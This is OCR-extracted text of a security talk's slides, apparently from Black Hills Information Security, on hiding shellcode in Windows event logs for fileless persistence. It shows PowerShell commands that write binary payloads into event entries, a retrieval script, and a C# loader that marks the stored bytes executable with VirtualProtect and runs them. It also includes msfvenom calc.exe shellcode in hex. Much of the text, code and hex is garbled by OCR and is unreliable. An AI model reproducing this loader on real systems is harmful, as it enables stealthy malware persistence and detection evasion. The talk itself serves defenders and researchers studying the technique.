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In February 2022 we observed the technique of putting the shellcode into Windows event logs for

the first time “in the wild" during the malicious campaign. It allows the “fileless™ last stage Trojan to
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First the basics...



Windows Event Log Basics
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File Action View Help
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Event Logs in Windows

& F!_EgiE-tr_'r" Editor

File Edit WView Favorites Help

ComputerHKEY_LOCAL MACHIMNE\SYSTEM  CurrentControl5et' Services

EhStorTegDne
embeddedmaode
EntAppive
ErrDev
ESENT
EventlLog
Application
HardwareEvents
Internet Explorer
Key Management Service
Parameters
Security
State
System
Visual Studio
Windows PowerShell
EventSystem
ExecutionContext
exfat

Mame

ab| DisplayMame
fis| ErrerControl

we| Failurefctions

ma|FailurefctionsO...

ab| Group
ab||magePath
ObjectMame

PlugPlayService...

RequiredPrivileg...

's| ServiceSidType

SwehbdemSeftLim...

Type

Type

REG_5Z
REG_SZ
REG_5Z
REG_DWORD
REG_BIMARY
REG_DWORD
REG_5Z
REG_EXPAMD_5Z
REG_5Z
REG_DWORD
REG_MULTI_5Z
REG_DWORD
REG_DWORD
REG_DWORD

. REG_DWORD

REG_DWORD
REG_DWORD

Registry

Drata
(walue not set)

ctem32vwevtsve.dll, - 201

RANTE ystem32isvchost.exe -k LocalSer...
MT AUTHORITY LocalService

(e Q0000




Event Sources

Computer\HEKEY_LOCAL_MACHINE\SYSTEM\ CurrentControl5et\Services\ EventLogh\Application

EntAppSvc Mame
ErrDev
ESENT
EventlLog

ab| (Default)

ab| DisplayMameFile
ie| DisplayMNamelD
ab] File

el MaxSize

Application
wuntime

MET Runtirne Optimization Service

Application ab| PrimaryModule
Application Error
Application Hang iis| Retention
Application Management
Application-Addon-Event-Provider
ATleRecord
AutoEnrollment
CardSpace 4,
CertCa
CertCli
CertEnroll

ivs| RestrictGuestic...

Type

REG_SZ
REG_EXPAMD_5Z
REG_DWORD
REG_EXPAMD_5Z
REG_DWORD
REG_5Z
REG_DWORD
REG_DWORD




Event Message Files

RstrthMgr.dil
d-e02ced2a7224}

@ ent Properties 11, RestarthManager
General Details

2 started 2022

Log Mame: Application

RestartManager Logged:

Computer: rbx-lab

Event Leg Online Help




Event Message Files

{2 Event Properties - Event

General Details

The description for Event | 0
a S O u rc e O e S n O a installed on your local computer or the installation is corrupted. You can install or repair the component on the local

computer.

L
I I I e S S ag e C O r re S p O n d I n g to If the event criginated on ancther computer, the display information had to be saved with the event.

The following information was included with the event:

t h e Eve n tl D i S S u e d ) yo u Wi | I This talk is brought you in part by Raid Shadow Legends.. kidding
see a message like this. s e g o e

Log Mame: Application

Source: : Logged:

Event ID: 1 Task Category: Mone

Level: Information ywords: Classic
Computer: rbx-lab
Infa

More Information:  Event Log Online Help




Creating Logs/Sources (As Admin)

entLog\Application\BHIS

ErrDev Name Type
ESENT ab) (Default) REG_SZ
Eventlog ab|EventMessageFile REG_EXPAND_SZ OWs)\ 303 entLogMessages.dll

NET Runtime H
NET Runtime Og
Application

Application Erra g
ppf 3 Windows PowerShell
Application Han

Application Ma Copyright (C) Microsoft Corporation. All rights reserved.
Application-Adg ) )
Psmmmpee [nstall the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

E¥  Administrator: Windows Powi

C PS C:\Users\rbx> |[System.Diagnostics.EventLog]::CreateEventSource( )
CertCa PS C:\Users\rbx> |

CertCli

CertEnroll
Chkdsk

CoM

COM+
DeliveryOptimiz
Desktop Windo
DiskQuota



View Help
.

{ P
1.:l| Event Viewer (Local)

7 Custom Views
v L Windows Logs Date and Time source Event ID Task

'« | Application ':i:'lﬁformaticm 9 2 7:53:28 PM 1337 None

E¥ Administrator: Windows Powi

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\rbx> |[System.Diagnostics.EventLog]: :WriteEntry("BHIS", "Checkout #Prompt", "Information", 1337)
PS C:\Users\rbx>
1.1 Event Properties - Event

General Details

Checkout #Prompt

Log Name: Application

Source: BHIS Logged: 9/6/2022 7:53:28 PM
Event |D: 1337 Task Category: None

| Information Classic

User: N/A

K
C

omputer: rbx-bhis
OpCode:

More Information:




vent Log Security

Log Account

Application Administrato

Administr

Interactiv
System Administr

Administrato

Lo

Intera

Administrato

Administr




Now what...?



Creating an Event Log

‘¥ Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS
PS
PS
PS
PS
PS
PS

C
C
C
C
C
C
C

:\Users\rbx>
:\Users\rbx>
:\Users\rbx>
:\Users\rbx>
:\Users\rbx>
:\Users\rbx>
:\Users\rbx>

$Log = "Application™

$Source = "BHIS"

$Type = "Information"

$Id = 1337

$Message = "Join our Discord community"

Write-EventlLog -LogName $Log -Source $Source -EntryType $Type -EventId $Id -Message $Message



4! Event Vie
File Action View Help
e 7 HE

7 Custom Views
Date and Time e Event ID  Task Category

~ Lmd Windows Logs

| Application
Security I Information
| setup \ lInformation 2 V Securit..
System (i) Information ¢ ( ’h Securit..
| Forwarded Events i /Information  9/6/2022 7 \ BHIS
Applications and Servid | (i) |nformation 22 7- f Securit..
| Subscriptions

Event 1337, BHIS

General Details

Join our Discord community

Log Name: Application
BHIS Logged: 9/6/2022 8:00:20 PM
: 37 Task Category: (1)
Information Keywords: Classic
N/A Computer. rbx-bhis
Info

More Information: Event Log Online Hel




E¥ Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\rbx> "Application"

PS C:\Users\rbx> "BHIS"

PS C:\Users\rbx> "Information"

PS C:\Users\rbx> 1337

PS C:\Users\rbx> "Join our Discord community"

PS C:\Users\rbx> Write-EventLog

PS C:\Users\rbx> Write-EventLog 0

Application  Number of events: 1,892

Date and Time Source Event ID Task Category
i) Information _ None
(i) Information 9, 2 802 Securit...
' lInformation 2 Securit..
i) Information g, 022 8:01:32 PN Securit...
i ) Information

Hinrormanton

i ) Information

i | Information 9/6,/2022 7:53:51 PN Securit...
(i) Information 9/6/2022 7:53:28 PN BHIS 13 None

i ) Information Q/6/2022 7532 f Securit... MNaone




¥ main ~ | runtime / src / libraries / Microsoft.Extensions.Logging.EventLog / src / WindowsEventLog.cs /

: stephentoub Seal internal types in libraries (#50225)
For more P - a3l 1] g

A 6 contributors 5 n n 0 ) (3]

57 limes (49 sloc) 1.91 KB

to the .NET Foundationm under cne or more agreements.

entID /{ Licensed

Total size of Event log

using System.Diagnostics;

using System.Security;

- message cannot exceed
A pointer to the current us :an’espate Microsoft.Extensions.Logging. Eventlog 3 ] ; 8 3 9 byte S???

[in] whum oS [Supported0SPlatform("windows"™ )]

internal sealed class WindowsEventlog : IEventlog

The number : i

! https://msdn.microsoft.com/EN-US/1library/windows/desktop/aa363679.aspx

are . . 3 3
; private const int MaximumMessageSize = 31839;

IPROEE [Pl iR = E¥ Windows PowerShell

[in] dwDatasi:

L. . PS C:\Users\rbx> 40000
B C:\Users\rbx> Write-EventLog 0
{
DiagnosticsEventlLog
of null-terminated stri PS C:\Users\rbx> 39730
This parameter must be a valid pointer JESAUEE RN LISl e Ly AL 0

PS C:\Users\rbx>



&

File Action View Help
&= 55 HEE

{4] Event Viewer (Local)
7 Custom Views
. Windows Logs
Applications and Services Logs
&| Hardware Events
& Internet Explorer
'.—| Key Management Service
| Microsoft
&| Microsoft Office Alerts
| OpenS55H
.—| Visual Studio
'.—| Windows PowerShell
£] 5aved Logs
s Subscriptions

Key Management Service MNumber of events: 34

Level
oy -
L1 Information

(i) Information

L) Information

Zj:illnfnrmaticun
Zj:illnfnrmaticun
'313' Information
S

Date and Time

21/05/2022 12.46.54
21/05/2022 12.46.54
21/05/2022 12.46.54
21/05/2022 12.46.54
21/05/2022 12.46.54
21/05/2022 12.46.54

Source

Cobalt
Cobalt
Cobalt
Cobalt
Cobalt
Cobalt

2]

Event 1337, Cobalt

General Details

https://github.com/improsec/SharpEventPersist

403A4152554889E 54881 EC2000000043201 DEAFFFFFFAS2SD F4881 C39CR40T100FFD341 BAF0BSA2S ~
662040000005A42329FOFFD0O000000000000000000F20000000E1 FBADEDOBADGCD21BE0N4CCD21546
869732070726F677261602063616E6EGFT42062652072756E20696E20444F53206D6FE4652E0D0D04

2400000000000000EFDABAEDABEBDAB3ABEED4BSABBEDABIC D551 AB3AABEDAB3285406B3336
ED4B3351B13B3AABBD4B3SATD1BE322BED4B35ATD1AR3I22BED4B3SATD19B3ATBEBD4B3A2C34

AABBD4B3ICDS518B3AABRDA

Actions

Key Management Service
Open Saved Log...
Create Custormn View..,
Import Custom View...
Clear Log...
Filter Current Log...
Properties
Find...
Save All Bvents As...
Attach a Task To this Log...
View
Refresh

Help




But wait...there is more!



L View

+ System

- EventData

Binary data: ' 8224, V55

In Words

0000: eF43
0010-

e

TID

0000ceG4d
CMD:

NS
W s
=

=]
[ S |
[Tl Ts)

o Lh
s3]

n070:

]
ol
n




Binary data can
be included in
an Event Log if
it is passed as a
byte array

&

File Action View Help

¥ Wing
PS C:\Users\rbx>
PS C:\Users\rbx>
PS C:\Users\rbx>
PS C:\Users\rbx> 1337
PS C:\Users\rbx>

PS C:\Users\rbx> [byte[]]
Ox6E,Bx64, 8x69 6 Bx6E, 8x67,8x21
pS r-\llsers\rhx> Write-EventLog

PS C:\Users\rbx>
Q Event Properties - Ev
General Details

O Friendly View

+ System

- EventData

Binary data:

In Words

Bx54 8x68,Ox61

Bx6E , Ox6B, Ox20 , 8x79

Bx6F , 8x75, 8x20

Bx66

Actions

Applica... &

Op...

Bx6F

Bx72,6x20,8x61

]

ex74

Bx74 , 8x65



How much data
can be stored??

61,440 Bytes

BlABI( HILLS
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Starting to get offensive...



Retrieving Payload from Event Logs

PS C:\Users\rbx\Desktop> .\Retrieve.psl
Event Log Injection

Write-

### Pulling payload out of Event Log ###

EN L I T

Payload Found. Converting to string...
Payload = 536b696c6c2075702077697U6820U16eT7U69737970686F6e
PS C:\Users\rbx\Desktop>

, —split ","

Write-EventLog -LogMame %1 - -EventId $3 -EntryType In
leep to I r to see log in Event Viewer

Start-Sleep -5econds 5
Write- "
Write- Pulling pa d out of Event Log ###" ' ©
Write- ' e i Source EventID Task Category Applica... «

f i 5 1337 None &= Op.. |

Actions

tLog -LogName r -Instanceld 1337 -Newest 1 — -

ad Found. Converting to string...

General Details

Select-Object -Expand Bytes ForEach-Object { "{ } f join ) ] O Frien

- EventData
Payloads Found Here

536B696C6C207570:

970686F6E



Fusing System; @
System.Diagnostics;

=]

using System.ling;

File Action View Help

Key Management Service Mumber of events: 1 Actions

{ - Custo N _ -
/ = Date and Time Source Event |0 Task Categ... Key Ma...
0 references i ]
Application )22 11:44:26 AM Security-SPP Mone = Op.
class Program _
Security
{ . Setup

Em

byte[] StringToByteArray(string hex)

PS C:\Users\rbx\Desktop> .\Retrieve.psl
Event Log Injection
return Enumerable.Range(@, hex.lLength) 9 *nj

Where(x => x % 2 == @)
.Select(x => Convert.ToByte(hex.Substring(x, 2), 16))

### Pulling payload out of Event Log ###

.ToArray(); Payload Found. Converting to string...
res criptions ! Payload = 536b696c6c207570207769746820U16eTU69737970686F6e
void Main(string[] args) PS C:\Users\rbx\Desktop>

Console.Writeline("BHIS-Loader");

{4 Event Properties - Event curity-5PP

EventlLog myEventLogl = new Eventlog(); General Details
_m T O Friendly View

myEventLogl.Log = "Key Management Service”;

EventLogEntryCollection myEventLogEntryCollection = myEventLogl.Entries; + System

- EventData
byte[] data_array = myEventlLogEntryCollection[@].Data;
rar number = data_array.lLength;
onsole.Writeline("Found Payload in Event Log Entries");

s

eval = string.Empty; Binary data:
data = BitConverter.ToString(myEventlLogEntryCollection[@].Data);

[

eval += data; In Words

str = eval.Replace("-", "");

"

+ data_array.lLength + " Bytes");
+ str);

Console.Writeline("Payload is:
Console.Writeline("Payload String is:



Elusin

i
I7:

g System;
using System.Diagnostics;
using System.Ling;

Elnamespace BHIS_2

0 references
class Program

1

using System.Runtime.InteropServices;

[D11Import("kernel32.d11")]

1 reference

] public static extern Boolean VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, UInt32 flNewProtect,
out UInt32 1pflOldProtect);

f/ Payload Injection Starts Here

GCHandle SCHandle = GCHandle.Alloc(data_array, GCHandleType.Pinned);
IntPtr SCPointer = SCHandle.AddrOfPinnedObject();

uint flOldProtect;

if (VirtualProtect(SCPointer, (UIntPtr)data_array.lLength, 8x48, out flO0ldProtect))

{

el [t = i

ptrShellCode sc
sc();

(ptrShellCode)Marshal .GetDelegateForFunctionPointer(S5CPointer, typeof(ptrShellCode));



PS C:\Users\rbx\Desktop> .\BHIS-2.exe

BHIS-Loader

Found Payload in Event Log Entries

Payload is: 24 Bytes

Payload String is: 536B696C6C2875702077697U6820U16ET7U69737970686F6E

Unhandled Exception: System.AccessViolationException: Attempted to read or write protected memory. This is often an indicat
ion that other memory is corrupt.

at BHIS_2.Program.Main(string[] args)
PS C:\Users\rbx\Desktop=



PS C:\Users\rbx\Desktop> .\Retrieve.psl
Event Log Injection

### Pulling payload out of Event Log ###
Payload Found. Converting to string...

Payload = fcuU883elffe8cOBPRAAALL51U41505251564831d265488b5260U488b5218U88b5220U88b7250U80Ffb7Ualald31c9U831cac3c6lTchd22c28Ulc
1c98dulflcleZed52u151488b52208bU23cU801d08bEABERAOAAOLUBBS5CcATUATUB01dA508bUB18ULEbUAZOU901dEe356U8FfFfcOU18b3UBBUBA1dAUd31CcOUB
31cPacllclc98dulelcl38e@75Ff1UcO3Uc2U084539d175d858u48bUa2UU001dA66U18bACUBUUBDLUA1cU901dOU1EbAUBEUBA1dALUL158U1585e595aU158U15
9415au883ec28Ul152ffef58U1595aU88b12e957fFfFff5du8banl000B000PE0NE0OUBEdEdE1010EEAU1ba318bAf8T7TFfdSbbfEb5a256U1baas95bdadf+fds
4883cU283cA6TcAa8BfbedT7505bbUT13726F6a00590189daffd563616c632e65786500

PS C:\Users\rbx\Desktop>

&

File Action View Help

= =
=y

' Date and Time Source Event ID  Task Categ...

. ,—| Application nformation g 022 11:51:07 AM Security-SPP 1337 None

G Security

5] Setup {4] Event Properties - Event 1337, Security-SPP
"7 ~[~] =| Forwarded Events General
. i [ p windows/x64/exec CMD=calc.exe f hex Applications and Services Logs O Friend| ) XML View
[-1 No platform was selected, choosing Msf ::Module::Platfo (2] Hardware s ren - AL HiEw
rm::Windows from the payload & Internet Explorer
[-] No arch selected, selecting arch: x64 from the payload %] Key Management Service + System
No encoder specified, outputting raw payload | Microsoft
Payload size: 276 bytes | Open - EventData
R et i Payloads Found Here
C e esdc 4 4 -4 Subscriptions R - 231D265488B5: copC
488b5220488b7250480fb74aka4d31c94831c0ac3c617c¢022¢2041c1c9 FCa8ssk 3141505251564831D2654888526048885214
0d4101cle2ed524151488b52208b423¢c4801d08h80880000004885c074
674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31 .
€94831c0Pac41c1c90d4101c138e075f14c034c24084539d175d858448b Binary data:
40244901d066418b0c48448b401c4901d0418b04884801d0415841585¢e
595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d In Words

48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbfOb5a2
5641baa695bd9dffd54883c4283c067c0a80fbe@7505bb4713726f6a00
594189daffd563616c632e65786500



s Powershell

PS C:\Users\rbx\Desktop> .\BHIS-2.exe

BHIS-Loader

Found Payload in Event Log Entries

Payload is: 276 Bytes

Payload String is: FCUB83ELFPESCEPOEAEOU15141568525156U4831D265U88B5266U88B5218U88685220U88R7250U80FBTUALUALD31COUB31CAAC3CE1TC
022C2601C1Co968DU1O1CIEZEDS204151488E52208EU23CLU801DOBEEOEE0PODABUBESCATUSTUEBA1DOSABEUE1BUUBEBLUA20U901DOESS6UBFFCIOU1BE3UBBUBA1D
6UD31CoU831CAACULICICO8DULIAICISBERTSFIUCH3UC2UABU539D1T75D858UU8EBUA2UN901DA66U1BERCLUBUUBSELR1CU901DOLU1BEAUBEUEE1DOULS58U1585E59
S5A41584159415AU883EC20U152FFEBS8U1595AU88B12E957FFFFFF5DUBEARLO000DOD0DAADOBUBEDEDO1A1000BU1IEAS1BE6FBTFFDSEEFOEB5A256U1BAAGT
SBD9DFFD54883CU283CA6TCOABOFBEDTSA5BBUT13T26F6ABB59U189DAFFD563616C632E65786500

Unhandled Exception: System.AccessViolationException: Attempted to read or write protected memory. This is often an indicat
ion that other memory is corrupt.

at BHIS_2.Program.Main(String[] args) i calculator
PS C:\Users\rbx\Desktop=>

Standard ™




Now we’re getting
somewhere...

Let’s go live!



In Conclusion

YOU USE EVENT
10GS A,;;m: ABREACH

/ Y 4 A
LUSE EVENT LOGS DURING
JHEBREAGHTO PERSIST

WE ARE
NOT THE SAME
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